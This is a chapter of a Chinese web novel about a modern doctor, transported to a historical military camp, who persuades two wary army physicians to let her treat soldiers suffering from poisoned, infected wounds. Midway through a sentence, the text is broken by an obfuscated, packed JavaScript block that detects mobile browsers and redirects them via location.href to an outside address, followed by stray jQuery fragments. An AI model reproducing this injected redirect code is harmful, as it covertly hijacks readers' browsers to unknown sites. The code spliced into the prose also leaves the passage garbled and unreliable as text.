两人从主营帐里出来,这次在前面为他们引路的是卓思源。
他将两人带到了一处比旁的营帐要大上许多的大棚,它与四周的营帐都隔了一大段距离,远远望去有些孤零零的。
走近了些,徐薇钰看到敞开的大棚外台处有两个白布遮面的老者在来回走动着,手中拿着各种草药在念念有词着些什么,应该是随军的大夫。
卓思源开口引起他们的注意:“伍老,康大夫。”听到他说话,那两人勉强将视线从药草堆中收回,蹙着眉抬头。
左边那位年纪大些的老者白发看起来久未打理了,一络络的凌乱粘在面上,他扫视了眼他们三人,皱着脸,开口也毫不客气:“卓军师?有什么事么,没有的话别来妨碍。”
卓思源苦笑一声,抬手掌心向上朝着徐薇钰的方向:“伍老稍安,这位姑娘是来协助你们的。”
右边看起来要年轻些康大夫头发半白,他原本看了眼三人后便沉默着低回头,此刻听了卓思源的话也是倏然抬眼。
伍大夫则是视线扫过徐薇钰,又放回卓思源身上。他眉头蹙得更紧,直言不讳:“卓思源,我没工夫跟你闹。”
“这边的情况你难道不清楚么?这个时候派个小姑娘过来不是添乱吗?!”
卓思源汗颜,伍老德高望重又嘴上不留情,他拿对方一向没办法,只好说了句:“总兵大人已应允了。”
伍老看起来更生气了,语气反而冷了下来:“我这里不是镀金的地方。”
康大夫此时也看向徐薇钰,语气比伍老要和缓些:“你看起来同我的弟子们一个年纪,可以进里面帮着他们一块照料病人。”
徐薇钰侧目看了眼炸毛的伍老,低着头一幅事不关己模样的卓思源,又看向面前看似关切实则不信任她的康大夫,嘴角微微勾起一个笑容。
她看向伍老,“我不是来添乱的,更不是来镀金的。”又看向康大夫:“我是来帮你们解决难题的。”
“也许二位前辈见我年纪尚轻,难以信赖我,但情况紧急,更应该集众所长。我能不能做到,要试了才知道不是吗?”
说着,她轻轻笑了声:“我对自己倒是很有信心。毕竟,我可是在总兵面前立了军令状的。”
面前两人俱是一顿。
卓思源也不装哑巴了,适时开口:“确有此事。若她不能解决此毒,便将其斩首示众。”
卓思源说得客观,伍老和康大夫却是神色复杂起来。
即使是他们,也不敢说一定能解决此毒,最多就是替那些士兵们吊着命。
伍老这次看向徐薇钰的目光正式了许多,缓缓道:“我不知道你是不是不想活了大放厥词,但事已至此,你去试试又何妨。”
徐薇钰颔首。
徐四从始至终一言不发,十分信任徐薇钰可以说服两人。此刻她伸手摘下帏帽,徐四从善如流地接了过去。
伍老和康大夫第一次见到她的正脸,两人沉默了会,康大夫才略显感慨道:“真是年轻啊。”
伍老仍是皱着眉,他指了指旁边的白布条:“戴上这个再去。”
徐薇钰谢过他好意,转身从徐四背着的包裹中抽出了几个独立包装的医用口罩。这是她提前从系统空间里带出来,放进包裹中的。
口罩是必不可少的防护,她不可能在人前突然消失进入系统空间,所以在玉泉关那晚在系统空间同陆嘉禾见面的时候便备好了口罩、手套一类的用品,保守起见,她还放了几支针管和抗生素以应急。
徐薇钰拆开包装将口罩戴好,眯起眼睛笑道:“我用这个就好。”
她伸手将口罩递到两人面前,“二位前辈也试试这个吧?”口罩有多层滤网,防护效果会比这个时代的白布好很多。
虽然对方还不信赖她,但她对这两位为他人性命奋战在最前线的医学前辈还是抱有相当的敬意的。
伍老瞥了眼她面上的口罩,徐薇钰还以为他比较守旧不想接受,结果他还是接了:“可以直接挂在耳后,看起来的确方便些。”
康大夫轮流看了看他们二人,也伸手接了过去。
徐薇钰笑了笑,说道:“这个叫口罩,防护效果很好,不过大约两个时辰就得换一次。”
她见两人点头,也不再多说,而是伸手指了指一旁的帐篷,“我过去瞧瞧。”
伍老:“一起去。”说着,他放下手上的活计,想了想,将白布摘下换成了口罩。
康大夫不无不可,他也想看看徐薇钰凭什么自信能治好这些伤员。
几人一起朝大帐走去,伍老和康大夫在前,徐薇钰、徐四在中间,卓思源则安静地缀在队尾。
康大夫掀开外帘,徐薇钰跟着他们走进去,里面的情形展露在她面前。
大量的伤员整整齐齐躺成一排排,绷带层层缠绕在他们裸露的皮肤上,却也阻挡不了血花洇开最上层,将洁白的绷带染红。
士兵们面色痛苦,难忍的呻吟从他们口中传出,光是听着就让人动容。
几个白布遮面的年轻人在他们病床的空隙间穿梭着,照看着他们。
空气里的气味并不好闻,卓思源面色复杂地停下脚步,徐薇钰给口罩的时候没顾他,他左手握拳用食指指节挡住鼻子,没再继续深入。
徐四亦步亦趋地跟着徐薇钰,但后者转过身来看向他,开口道:“你也在外面等吧,包裹给我就好。”
徐薇钰垂下眼,两人同行一路不假,但徐四目前在她这里仍旧是业绩而非交心的助手,所以即便这个时候不走,一会她还是会另找借口支开他,倒不如直接顺势赶人。
徐四大概能猜到徐薇钰还不完全信任他,这里五个人各怀心思猜疑着彼此,却又在权衡后为了各自的目的同站在一起。
徐四沉默了一会,还是听了她的话,他将包裹递到徐薇钰手中后转身朝外走,从卓思源身边走过时,这位军师幅度很小的瞥了他一眼后垂下眼,不知在想些什么。
“我想走近些看看。”徐薇钰的声音响起,将众人的注意力都吸引到她身上。
伍老点点头,只有仔细查看了才有治疗一说,他没有理由制止对方。
徐薇钰走到离她最近的伤员边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473251|185584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,年轻的士兵正躺在床上紧闭着眼,五官都因为痛苦而皱在一起。
她将包裹在一旁放下,拿出乳胶手套戴上,然后弯下腰轻轻地揭开他腿上的绷带。
徐薇钰面色严肃,随着绷带一层层褪去,她能看到其下包裹着的血肉已是糜烂状,组织液在鼓起的肉包底下积攒,看起来十分骇人。
伍老和康大夫看了眼徐薇钰的脸色,见人没有排斥得犯恶心,心下明白她不是空口说大话的新人,至少也是真的见过各种病灶的,对她也多了些亲切。
“你看到了吗,他的腿上没有伤口。”伍老道。
徐薇钰点头,“是。”这也是她正在思考的事。
伍老为她解答了疑惑:“他的伤口在腰上。”徐薇钰顺着他的话看向那人缠满绷带的躯干,没有开口打断。
“这些伤员之所以迟迟不好,就是因为他们会反复的感染。”
康大夫在一旁补充:“你应该听说了,西域那些人在武器上抹了毒。这种毒并不会直接杀死我们的士兵,但却会从伤口渗入,导致他们身上各处不断地长出这些血包。”
“这就是为什么,他明明伤在腰上,却几乎全身都被包起来了。”他指向床上躺着的士兵,神色不忍。
徐薇钰也跟着看了那人一眼,全身上下几乎只露出了五官在外,她开口,语气还算冷静:“这些血包是自然破裂的吗?”
听到她一针见血的问题,康大夫愣了愣才回答:“不是。”
他感觉这么说有些歧义,又补充道:“这些血包长到一定程度的确会爆开,但我们进行了干预,提前将其挑破,再做了些处理,希望可以尽可能降低对他的伤害。”
徐薇钰看向那块已经显得与正常皮肤异色的血肉,他们两人的干预是出于好意,但明显并没有起到太好的效果,那块血肉还是快要坏死了。
徐薇钰沉默了一会,探了探那人的额头,果然入手滚烫。
“我们试过很多方法了,实在不行……断肢保命吧。”康大夫语气低迷,越说越小声。
床上的人皱着眉头挣动,不知有没有听见。
徐薇钰没有回答,而是从旁边取出了抗生素和针管,准备先给他打一针。
好在她提前备好了这种救急药,抗生素打下去能很好抑制细菌性感染。虽说所有人都在说西域那边用的是毒,但他们口中的毒和现代医学意义上的病毒却是不同。
炎症反应、脓状分泌物、持续高热,这些都是细菌感染的症状。
严格意义上来说,在血常规检查出结果前徐薇钰并不能完全确认西域那些人用的到底是什么,但这个人的情况在她看来,打抗生素是十分有必要的。
然后她就要利用接下来的时间想办法将人挪到系统空间里去进行更全面的诊疗。
旁边两人从没见过这种治疗方式,伍老瞪眼喝止道:“你在做什么?”
徐薇钰头也不抬,“救人。”
“你们的方法没奏效,不如试试我的。”她抬头望向两人的方向,细碎的光亮在她眼底绽出星火,一如她赤诚的救治仁心。